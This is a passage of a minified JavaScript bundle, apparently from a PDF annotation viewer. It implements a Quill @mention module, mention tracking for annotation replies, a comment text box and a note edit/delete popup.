absolute;",this.mentionContainer.onmousemove=this.onContainerMouseMove.bind(this),this.options.fixMentionsToQuill&&(this.mentionContainer.style.width="auto"),this.mentionList=document.createElement("ul"),this.mentionList.id="quill-mention-list",t.root.setAttribute("aria-owns","quill-mention-list"),this.mentionList.className=this.options.mentionListClass?this.options.mentionListClass:"",this.mentionContainer.appendChild(this.mentionList),t.on("text-change",this.onTextChange.bind(this)),t.on("selection-change",this.onSelectionChange.bind(this)),t.container.addEventListener("paste",(function(){setTimeout((function(){var e=t.getSelection();r.onSelectionChange(e)}))})),t.keyboard.addBinding({key:lP},this.selectHandler.bind(this)),t.keyboard.bindings[lP].unshift(t.keyboard.bindings[lP].pop());var o,i=aP(this.options.selectKeys);try{for(i.s();!(o=i.n()).done;){var a=o.value;t.keyboard.addBinding({key:a},this.selectHandler.bind(this))}}catch(e){i.e(e)}finally{i.f()}t.keyboard.bindings[sP].unshift(t.keyboard.bindings[sP].pop()),t.keyboard.addBinding({key:uP},this.escapeHandler.bind(this)),t.keyboard.addBinding({key:cP},this.upHandler.bind(this)),t.keyboard.addBinding({key:fP},this.downHandler.bind(this))}return $k(e,[{key:"selectHandler",value:function(){return!(this.isOpen&&!this.existingSourceExecutionToken)||(this.selectItem(),!1)}},{key:"escapeHandler",value:function(){return!this.isOpen||(this.existingSourceExecutionToken&&(this.existingSourceExecutionToken.abandoned=!0),this.hideMentionList(),!1)}},{key:"upHandler",value:function(){return!(this.isOpen&&!this.existingSourceExecutionToken)||(this.prevItem(),!1)}},{key:"downHandler",value:function(){return!(this.isOpen&&!this.existingSourceExecutionToken)||(this.nextItem(),!1)}},{key:"showMentionList",value:function(){"fixed"===this.options.positioningStrategy?document.body.appendChild(this.mentionContainer):this.quill.container.appendChild(this.mentionContainer),this.mentionContainer.style.visibility="hidden",this.mentionContainer.style.display="",this.mentionContainer.scrollTop=0,this.setMentionContainerPosition(),this.setIsOpen(!0)}},{key:"hideMentionList",value:function(){this.options.onBeforeClose(),this.mentionContainer.style.display="none",this.mentionContainer.remove(),this.setIsOpen(!1),this.quill.root.removeAttribute("aria-activedescendant")}},{key:"highlightItem",value:function(){for(var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t=0;t<this.mentionList.childNodes.length;t+=1)this.mentionList.childNodes[t].classList.remove("selected");if(-1!==this.itemIndex&&"true"!==this.mentionList.childNodes[this.itemIndex].dataset.disabled&&(this.mentionList.childNodes[this.itemIndex].classList.add("selected"),this.quill.root.setAttribute("aria-activedescendant",this.mentionList.childNodes[this.itemIndex].id),e)){var n=this.mentionList.childNodes[this.itemIndex].offsetHeight,r=this.mentionList.childNodes[this.itemIndex].offsetTop,o=this.mentionContainer.scrollTop,i=o+this.mentionContainer.offsetHeight;r<o?this.mentionContainer.scrollTop=r:r>i-n&&(this.mentionContainer.scrollTop+=r-i+n)}}},{key:"getItemData",value:function(){var e=this.mentionList.childNodes[this.itemIndex].dataset.link,t=void 0!==e,n=this.mentionList.childNodes[this.itemIndex].dataset.target;return t&&(this.mentionList.childNodes[this.itemIndex].dataset.value='<a href="'.concat(e,'" target=').concat(n||this.options.linkTarget,">").concat(this.mentionList.childNodes[this.itemIndex].dataset.value)),this.mentionList.childNodes[this.itemIndex].dataset}},{key:"onContainerMouseMove",value:function(){this.suspendMouseEnter=!1}},{key:"selectItem",value:function(){var e=this;if(-1!==this.itemIndex){var t=this.getItemData();t.disabled||(this.options.onSelect(t,(function(t){e.insertItem(t)})),this.hideMentionList())}}},{key:"insertItem",value:function(e,t){var n,r=e;null!==r&&(this.options.showDenotationChar||(r.denotationChar=""),t?n=this.cursorPos:(n=this.mentionCharPos,this.quill.deleteText(this.mentionCharPos,this.cursorPos-this.mentionCharPos,qk.a.sources.USER)),this.quill.insertEmbed(n,this.options.blotName,r,qk.a.sources.USER),this.options.spaceAfterInsert?(this.quill.insertText(n+1," ",qk.a.sources.USER),this.quill.setSelection(n+2,qk.a.sources.USER)):this.quill.setSelection(n+1,qk.a.sources.USER),this.hideMentionList())}},{key:"onItemMouseEnter",value:function(e){if(!this.suspendMouseEnter){var t=Number(e.target.dataset.index);Number.isNaN(t)||t===this.itemIndex||(this.itemIndex=t,this.highlightItem(!1))}}},{key:"onDisabledItemMouseEnter",value:function(e){this.suspendMouseEnter||(this.itemIndex=-1,this.highlightItem(!1))}},{key:"onItemClick",value:function(e){0===e.button&&(e.preventDefault(),e.stopImmediatePropagation(),this.itemIndex=e.currentTarget.dataset.index,this.highlightItem(),this.selectItem())}},{key:"onItemMouseDown",value:function(e){e.preventDefault(),e.stopImmediatePropagation()}},{key:"renderLoading",value:function(){if(this.options.renderLoading())if(this.mentionContainer.getElementsByClassName("ql-mention-loading").length>0)this.showMentionList();else{this.mentionList.innerHTML="";var e=document.createElement("div");e.className="ql-mention-loading",e.innerHTML=this.options.renderLoading(),this.mentionContainer.append(e),this.showMentionList()}}},{key:"removeLoading",value:function(){var e=this.mentionContainer.getElementsByClassName("ql-mention-loading");e.length>0&&e[0].remove()}},{key:"renderList",value:function(e,t,n){if(t&&t.length>0){this.removeLoading(),this.values=t,this.mentionList.innerHTML="";for(var r=-1,o=0;o<t.length;o+=1){var i=document.createElement("li");i.id="quill-mention-item-"+o,i.className=this.options.listItemClass?this.options.listItemClass:"",t[o].disabled?(i.className+=" disabled",i.setAttribute("aria-hidden","true")):-1===r&&(r=o),i.dataset.index=o,i.innerHTML=this.options.renderItem(t[o],n),t[o].disabled?i.onmouseenter=this.onDisabledItemMouseEnter.bind(this):(i.onmouseenter=this.onItemMouseEnter.bind(this),i.onmouseup=this.onItemClick.bind(this),i.onmousedown=this.onItemMouseDown.bind(this)),i.dataset.denotationChar=e,this.mentionList.appendChild(dP(i,t[o],this.options.dataAttributes))}this.itemIndex=r,this.highlightItem(),this.showMentionList()}else this.hideMentionList()}},{key:"nextItem",value:function(){var e,t=0;do{t++,e=(this.itemIndex+t)%this.values.length;var n="true"===this.mentionList.childNodes[e].dataset.disabled;if(t===this.values.length+1){e=-1;break}}while(n);this.itemIndex=e,this.suspendMouseEnter=!0,this.highlightItem()}},{key:"prevItem",value:function(){var e,t=0;do{t++,e=(this.itemIndex+this.values.length-t)%this.values.length;var n="true"===this.mentionList.childNodes[e].dataset.disabled;if(t===this.values.length+1){e=-1;break}}while(n);this.itemIndex=e,this.suspendMouseEnter=!0,this.highlightItem()}},{key:"containerBottomIsNotVisible",value:function(e,t){return e+this.mentionContainer.offsetHeight+t.top>window.pageYOffset+window.innerHeight}},{key:"containerRightIsNotVisible",value:function(e,t){return!this.options.fixMentionsToQuill&&e+this.mentionContainer.offsetWidth+t.left>window.pageXOffset+document.documentElement.clientWidth}},{key:"setIsOpen",value:function(e){this.isOpen!==e&&(e?this.options.onOpen():this.options.onClose(),this.isOpen=e)}},{key:"setMentionContainerPosition",value:function(){"fixed"===this.options.positioningStrategy?this.setMentionContainerPosition_Fixed():this.setMentionContainerPosition_Normal()}},{key:"setMentionContainerPosition_Normal",value:function(){var e=this,t=this.quill.container.getBoundingClientRect(),n=this.quill.getBounds(this.mentionCharPos),r=this.mentionContainer.offsetHeight,o=this.options.offsetTop,i=this.options.offsetLeft;if(this.options.fixMentionsToQuill){this.mentionContainer.style.right="".concat(0,"px")}else i+=n.left;if(this.containerRightIsNotVisible(i,t)){var a=this.mentionContainer.offsetWidth+this.options.offsetLeft;i=t.width-a}if("top"===this.options.defaultMenuOrientation){if((o=this.options.fixMentionsToQuill?-1*(r+this.options.offsetTop):n.top-(r+this.options.offsetTop))+t.top<=0){var l=this.options.offsetTop;this.options.fixMentionsToQuill?l+=t.height:l+=n.bottom,o=l}}else if(this.options.fixMentionsToQuill?o+=t.height:o+=n.bottom,this.containerBottomIsNotVisible(o,t)){var s=-1*this.options.offsetTop;this.options.fixMentionsToQuill||(s+=n.top),o=s-r}o>=0?this.options.mentionContainerClass.split(" ").forEach((function(t){e.mentionContainer.classList.add("".concat(t,"-bottom")),e.mentionContainer.classList.remove("".concat(t,"-top"))})):this.options.mentionContainerClass.split(" ").forEach((function(t){e.mentionContainer.classList.add("".concat(t,"-top")),e.mentionContainer.classList.remove("".concat(t,"-bottom"))})),this.mentionContainer.style.top="".concat(o,"px"),this.mentionContainer.style.left="".concat(i,"px"),this.mentionContainer.style.visibility="visible"}},{key:"setMentionContainerPosition_Fixed",value:function(){var e=this;this.mentionContainer.style.position="fixed",this.mentionContainer.style.height=null;var t=this.quill.container.getBoundingClientRect(),n=this.quill.getBounds(this.mentionCharPos),r={left:t.left+n.left,top:t.top+n.top,width:0,height:n.height},o=this.options.fixMentionsToQuill?t:r,i=this.options.offsetTop,a=this.options.offsetLeft;if(this.options.fixMentionsToQuill){var l=o.right;this.mentionContainer.style.right="".concat(l,"px")}else(a+=o.left)+this.mentionContainer.offsetWidth>document.documentElement.clientWidth&&(a-=a+this.mentionContainer.offsetWidth-document.documentElement.clientWidth);var s=o.top,u=document.documentElement.clientHeight-(o.top+o.height),c=this.mentionContainer.offsetHeight<=u,f=this.mentionContainer.offsetHeight<=s;"bottom"===("top"===this.options.defaultMenuOrientation&&f?"top":"bottom"===this.options.defaultMenuOrientation&&c||u>s?"bottom":"top")?(i=o.top+o.height,c||(this.mentionContainer.style.height=u-3+"px"),this.options.mentionContainerClass.split(" ").forEach((function(t){e.mentionContainer.classList.add("".concat(t,"-bottom")),e.mentionContainer.classList.remove("".concat(t,"-top"))}))):(i=o.top-this.mentionContainer.offsetHeight,f||(this.mentionContainer.style.height=s-3+"px",i=3),this.options.mentionContainerClass.split(" ").forEach((function(t){e.mentionContainer.classList.add("".concat(t,"-top")),e.mentionContainer.classList.remove("".concat(t,"-bottom"))}))),this.mentionContainer.style.top="".concat(i,"px"),this.mentionContainer.style.left="".concat(a,"px"),this.mentionContainer.style.visibility="visible"}},{key:"getTextBeforeCursor",value:function(){var e=Math.max(0,this.cursorPos-this.options.maxChars);return this.quill.getText(e,this.cursorPos-e)}},{key:"onSomethingChange",value:function(){var e=this,t=this.quill.getSelection();if(null!=t){this.cursorPos=t.index;var n,r=this.getTextBeforeCursor(),o=(n=r,this.options.mentionDenotationChars.reduce((function(e,t){var r=n.lastIndexOf(t);return r>e.mentionCharIndex?{mentionChar:t,mentionCharIndex:r}:{mentionChar:e.mentionChar,mentionCharIndex:e.mentionCharIndex}}),{mentionChar:null,mentionCharIndex:-1})),i=o.mentionChar,a=o.mentionCharIndex;if(function(e,t,n){return e>-1&&!(n&&0!==e&&!t[e-1].match(/\s/g))}(a,r,this.options.isolateCharacter)){var l=this.cursorPos-(r.length-a);this.mentionCharPos=l;var s=r.substring(a+i.length);if(s.length>=this.options.minChars&&function(e,t){return t.test(e)}(s,this.getAllowedCharsRegex(i))){this.existingSourceExecutionToken&&(this.existingSourceExecutionToken.abandoned=!0),this.renderLoading();var u={abandoned:!1};this.existingSourceExecutionToken=u,this.options.source(s,(function(t,n){u.abandoned||(e.existingSourceExecutionToken=null,e.renderList(i,t,n))}),i)}else this.existingSourceExecutionToken&&(this.existingSourceExecutionToken.abandoned=!0),this.hideMentionList()}else this.existingSourceExecutionToken&&(this.existingSourceExecutionToken.abandoned=!0),this.hideMentionList()}}},{key:"getAllowedCharsRegex",value:function(e){return this.options.allowedChars instanceof RegExp?this.options.allowedChars:this.options.allowedChars(e)}},{key:"onTextChange",value:function(e,t,n){"user"===n&&this.onSomethingChange()}},{key:"onSelectionChange",value:function(e){e&&0===e.length?this.onSomethingChange():this.hideMentionList()}},{key:"openMenu",value:function(e){var t=this.quill.getSelection(!0);this.quill.insertText(t.index,e),this.quill.blur(),this.quill.focus()}}]),e}();function mP(e){return function(e){if(Array.isArray(e))return EP(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||wP(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function gP(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function vP(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?gP(Object(n),!0).forEach((function(t){yP(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):gP(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function yP(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function bP(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||wP(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function wP(e,t){if(e){if("string"==typeof e)return EP(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?EP(e,t):void 0}}function EP(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function SP(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}qk.a.register("modules/mention",hP);var CP=new(function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}var t,n,r;return t=e,(n=[{key:"initialize",value:function(e,t){var n=this;this.store=e,this.events={},this.idMentionDataMap={},this.allowedTrailingCharacters=[" "],this.mentionLookupCallback=this.defaultMentionsSearchCallback,t.addEventListener("annotationChanged",(function(e,t,r){!r.imported&&e.length&&n.getUserData().length&&("add"===t?n.handleAnnotationsAdded(e):"modify"===t?n.handleAnnotationsModified(e):"delete"===t&&n.handleAnnotationsDeleted(e))}))}},{key:"handleAnnotationsAdded",value:function(e){var t=this,n=[];e.forEach((function(e){var r=t.extractMentionDataFromAnnot(e);t.idMentionDataMap[e.Id]=r,n=n.concat(r.mentions)})),n.length&&this.trigger("mentionChanged",[n,"add"])}},{key:"handleAnnotationsModified",value:function(e){var t=this,n=[],r=[],o=[];e.forEach((function(e){var i=t.idMentionDataMap[e.Id]||{mentions:[],contentWithoutMentions:""},a=t.extractMentionDataFromAnnot(e),l=i.mentions,s=a.mentions;t.idMentionDataMap[e.Id]=a,s.forEach((function(e){!l.find((function(n){return t.isSameMention(n,e)}))&&n.push(e)})),l.forEach((function(e){!s.find((function(n){return t.isSameMention(e,n)}))&&o.push(e)})),l.length&&i.contentWithoutMentions!==a.contentWithoutMentions&&(r=r.concat(s))})),n.length&&this.trigger("mentionChanged",[n,"add"]),r.length&&this.trigger("mentionChanged",[r,"modify"]),o.length&&this.trigger("mentionChanged",[o,"delete"])}},{key:"handleAnnotationsDeleted",value:function(e){var t=this,n=[];e.forEach((function(e){t.idMentionDataMap[e.Id]&&(n=n.concat(t.idMentionDataMap[e.Id].mentions),delete t.idMentionDataMap[e.Id])})),n.length&&this.trigger("mentionChanged",[n,"delete"])}},{key:"getFormattedTextFromDeltas",value:function(e){var t=[];return e.forEach((function(e){if(e.insert)if("string"==typeof e.insert)t.push(e.insert);else if(e.insert.mention){var n=e.insert.mention,r="".concat(n.denotationChar,"[").concat(n.value,"](").concat(n.id,")");t.push(r)}})),t.join("")}},{key:"extractMentionDataFromStr",value:function(e){for(var t,n=/@\[(.*?)\]\((.*?)\)/g,r=[],o=e;null!==(t=n.exec(e));){var i=bP(t,3),a=i[0],l=i[1],s=i[2];r.push(s),o=o.replace(a.slice(1),l)}return{plainTextValue:o,ids:r}}},{key:"extractMentionDataFromAnnot",value:function(e){var t=this,n=e.getCustomData("trn-mention"),r=this.getUserData(),o=e.getContents(),i={mentions:[],contentWithoutMentions:o};return""===n||(n=JSON.parse(n),r.forEach((function(r){n.ids.includes(r.id)&&t.isValidMention(o,r.value)&&(i.mentions.push(vP(vP({},r),{},{annotId:e.Id})),i.contentWithoutMentions=i.contentWithoutMentions.replace("@".concat(r.value),""))}))),i}},{key:"isValidMention",value:function(e,t){t="@".concat(t);var n=e.indexOf(t),r=e[n+t.length],o=void 0===r,i=this.getAllowedTrailingCharacters();return o||"*"===i||i.includes(r)}},{key:"isSameMention",value:function(e,t){for(var n in e)if(e[n]!==t[n])return!1;return!0}},{key:"createMentionReply",value:function(e,t){var n=this.extractMentionDataFromStr(t),r=n.plainTextValue,o=n.ids,i=new Annotations.StickyAnnotation;return i.InReplyTo=e.Id,i.X=e.X,i.Y=e.Y,i.PageNumber=e.PageNumber,i.Author=vt.getCurrentUser(),i.setContents(r||""),i.setCustomData("trn-mention",JSON.stringify({contents:t,ids:o})),e.addReply(i),vt.addAnnotations([i]),i}},{key:"setUserData",value:function(e){e=e.map((function(e){return vP(vP({},e),{},{id:e.id||e.email||e.value})})),this.store.dispatch(Ps.setUserData(e))}},{key:"getUserData",value:function(){return fi.getUserData(this.store.getState())}},{key:"setAllowedTrailingCharacters",value:function(e){this.allowedTrailingCharacters=e}},{key:"getAllowedTrailingCharacters",value:function(){return this.allowedTrailingCharacters}},{key:"on",value:function(e,t){return this.events[e]||(this.events[e]=[]),this.events[e].push(t),this}},{key:"off",value:function(e,t){return this.events?(void 0===e&&(this.events={}),this.events[e]?(this.events[e]=t?this.events[e].filter((function(e){return e!==t})):[],this):this):this}},{key:"one",value:function(e,t){var n=this,r=t;return t=function(){n.off(e,t);for(var o=arguments.length,i=new Array(o),a=0;a<o;a++)i[a]=arguments[a];r.apply(n,i)},this.on(e,t)}},{key:"trigger",value:function(e){for(var t=this,n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];return this.events&&this.events[e]?(1===r.length&&Array.isArray(r[0])&&(r=r[0]),this.events[e].forEach((function(e){e.call.apply(e,[t].concat(mP(r)))})),this):this}},{key:"addEventListener",value:function(){this.on.apply(this,arguments)}},{key:"setEventListener",value:function(){this.on.apply(this,arguments)}},{key:"removeEventListener",value:function(){this.off.apply(this,arguments)}},{key:"setMentionLookupCallback",value:function(e){this.mentionLookupCallback=e}},{key:"getMentionLookupCallback",value:function(){return this.mentionLookupCallback}},{key:"defaultMentionsSearchCallback",value:function(e,t){if(0===t.length)return e;var n=[],r=t.toLowerCase();return e.forEach((function(e){var t=e.value.toLowerCase().includes(r),o=e.id&&e.id.toLowerCase().includes(r),i=e.email&&e.email.toLowerCase().includes(r);(t||o||i)&&n.push(e)})),n}}])&&SP(t.prototype,n),r&&SP(t,r),Object.defineProperty(t,"prototype",{writable:!1}),e}());n(1028);function xP(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var OP,AP,_P=[],TP={mention:{allowedChars:/^[A-Za-z\sÅÄÖåäö0-9\-_]*$/,mentionDenotationChars:["@","#"],mentionContainerClass:"mention__element",mentionListClass:"mention__suggestions__list",listItemClass:"mention__suggestions__item",renderItem:function(e,t){return e.email?"<div> ".concat(e.value,' <p class="email"> ').concat(e.email," </p> </div>"):"<div> ".concat(e.value," </div>")},source:(OP=regeneratorRuntime.mark((function e(t,n,r){var o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return o=CP.getMentionLookupCallback(),e.next=3,o(_P,t);case 3:i=e.sent,n(i,t);case 5:case"end":return e.stop()}}),e)})),AP=function(){var e=this,t=arguments;return new Promise((function(n,r){var o=OP.apply(e,t);function i(e){xP(o,n,r,i,a,"next",e)}function a(e){xP(o,n,r,i,a,"throw",e)}i(void 0)}))},function(e,t,n){return AP.apply(this,arguments)})}},kP=s.a.forwardRef((function(e,t){var n=e.value,r=void 0===n?"":n,o=e.onChange,i=e.onKeyDown,a=e.onBlur,l=e.onFocus,u=e.placeholder,c=e.userData;return _P=c,s.a.createElement("div",{className:"comment-textarea",onBlur:a,onFocus:l},s.a.createElement(Gk.a,{className:"comment-textarea ql-container ql-editor",style:{overflowY:"visible"},ref:t,modules:c&&c.length>0?TP:{},theme:"snow",value:r,placeholder:u,onChange:o,onKeyDown:i}))}));function PP(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function MP(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?PP(Object(n),!0).forEach((function(t){RP(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):PP(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function RP(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function jP(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return LP(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return LP(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function LP(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var IP={value:Is.a.string,placeholder:Is.a.string,onChange:Is.a.func.isRequired,onBlur:Is.a.func,onFocus:Is.a.func,onSubmit:Is.a.func},NP=s.a.forwardRef((function(e,t){var n=jP(le((function(e){return[fi.getUserData(e),fi.isNoteSubmissionWithEnterEnabled(e)]}),N),2),r=n[0],o=n[1],i=Object(l.useContext)(VT).resize,a=Object(l.useRef)(),u=Object(l.useRef)();Object(l.useLayoutEffect)((function(){var e,t,n=null===(e=a.current)||void 0===e||null===(t=e.editor)||void 0===t?void 0:t.container.firstElementChild,r=(null==n?void 0:n.getBoundingClientRect())||{};u.current&&u.current!==r.height&&i(),u.current=r.height}),[e.value,i]);var c=MP(MP({},e),{},{ref:function(e){a.current=e,t(e)},onChange:function(t,n,r,o){var i="";o&&""===o.getText().trim()&&"<p><br></p>"===t?e.onChange(""):(i=t.target?t.target.value:t,e.onChange(i))},onKeyDown:function(t){var n=o&&13===t.which,r=(t.metaKey||t.ctrlKey)&&13===t.which;(n||r)&&e.onSubmit(t)},userData:r});return s.a.createElement(s.a.Fragment,null,s.a.createElement(kP,c))}));NP.propTypes=IP;var DP=NP,FP=function(e,t){var n={},r=e.getContents().ops,o=0;r.forEach((function(e){var t=e.attributes,r=e.insert,i={};(null==t?void 0:t.bold)&&(i["font-weight"]="bold"),(null==t?void 0:t.italic)&&(i["font-style"]="italic"),(null==t?void 0:t.color)&&(i.color=t.color),(null==t?void 0:t.underline)&&(i["text-decoration"]="word"),(null==t?void 0:t.strike)&&(i["text-decoration"]?i["text-decoration"]="".concat(i["text-decoration"]," line-through"):i["text-decoration"]="line-through"),n[o]=i,o+=r.length})),t.setRichTextStyle(n)},BP=function(e){var t={};if(e["font-weight"]&&(t.bold=!0),e["font-style"]&&(t.italic=!0),e.color&&(t.color=e.color),e["text-decoration"]){var n=e["text-decoration"].split(" ");n.includes("line-through")&&(t.strike=!0),n.includes("word")&&(t.underline=!0)}return t},HP=function(e){for(var t=e.getRichTextStyle(),n=Object.keys(t),r=e.editor,o=r.getText(),i=[],a=0;a<n.length;a++){var l=t[n[a]],s=BP(l);if(!isNaN(n[a])){var u=isNaN(n[a+1])?o.length:n[a+1],c=o.slice(n[a],u);i.push({insert:c,attributes:s})}}r.setContents(i),r.setSelection(o.length,0)},VP={DARK:"dark",LIGHT:"light"};n(1029),n(1030);function zP(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return UP(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return UP(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function UP(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var GP={handleEdit:Is.a.func,handleDelete:Is.a.func,closePopup:Is.a.func,openPopup:Is.a.func,isEditable:Is.a.bool,isDeletable:Is.a.bool,isOpen:Is.a.bool};function WP(){}function qP(e){var t=e.handleEdit,n=void 0===t?WP:t,r=e.handleDelete,o=void 0===r?WP:r,i=e.closePopup,a=void 0===i?WP:i,l=e.openPopup,u=void 0===l?WP:l,c=e.isEditable,f=e.isDeletable,d=e.isOpen,p=e.isReply,h=zP(Ks(),1)[0],m=s.a.useRef();yp(m,(function(){a()}));if(!c&&!f)return null;var g=js()("overflow note-popup-toggle-trigger",{active:d}),v=js()("options note-popup-options",{"options-reply":p});return s.a.createElement(Uf,{className:"NotePopup",dataElement:"notePopup",ref:m},s.a.createElement("div",{className:g,onClick:function(e){e.stopPropagation(),d?a():u()}},s.a.createElement(cf,{glyph:"icon-tools-more"})),d&&s.a.createElement("div",{className:v},c&&s.a.createElement(Uf,{type:"button",className:"option note-popup-option",dataElement:"notePopupEdit",onClick:function(e){e.stopPropagation(),a(),n()}},h("action.edit")),f&&s.a.createElement(Uf,{type:"button",className:"option note-popup-option",dataElement:"notePopupDelete",onClick:function(){a(),o()}},h("action.delete"))))}qP.propTypes=GP;var ZP=qP;function YP(){return(YP=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function $P(e){return function(e){if(Array.isArray(e))return QP(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||XP(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function KP(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||XP(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function XP(e,t){if(e){if("string"==typeof e)return QP(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?QP(e,t):void 0}}function QP(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var JP=function(e){var t=e.annotation,n=e.setIsEditing,r=e.noteIndex,o=KP(s.a.useState(vt.canModify(t)),2),i=o[0],a=o[1],l=KP(s.a.useState(vt.canModifyContents(t)),2),u=l[0],c=l[1],f=KP(s.a.useState(!1),2),d=f[0],p=f[1],h=KP(Ks(),1)[0];s.a.useEffect((function(){function e(){a(vt.canModify(t)),c(vt.canModifyContents(t))}return vt.addEventListener("updateAnnotationPermission",e),function(){return vt.removeEventListener("updateAnnotationPermission",e)}}),[t]);var m={handleEdit:s.a.useCallback((function(){t instanceof window.Annotations.FreeTextAnnotation&&vt.getAnnotationManager().isFreeTextEditingEnabled()?vt.getAnnotationManager().trigger("annotationDoubleClicked",t):n(!0,r)}),[t,n,r]),handleDelete:s.a.useCallback((function(){vt.deleteAnnotations([t].concat($P(t.getGroupedChildren())))}),[t]),isEditable:u,isDeletable:i&&!(null!=t&&t.NoDelete),isOpen:d,closePopup:function(){return p(!1)},openPopup:function(){return p(!0)}};return 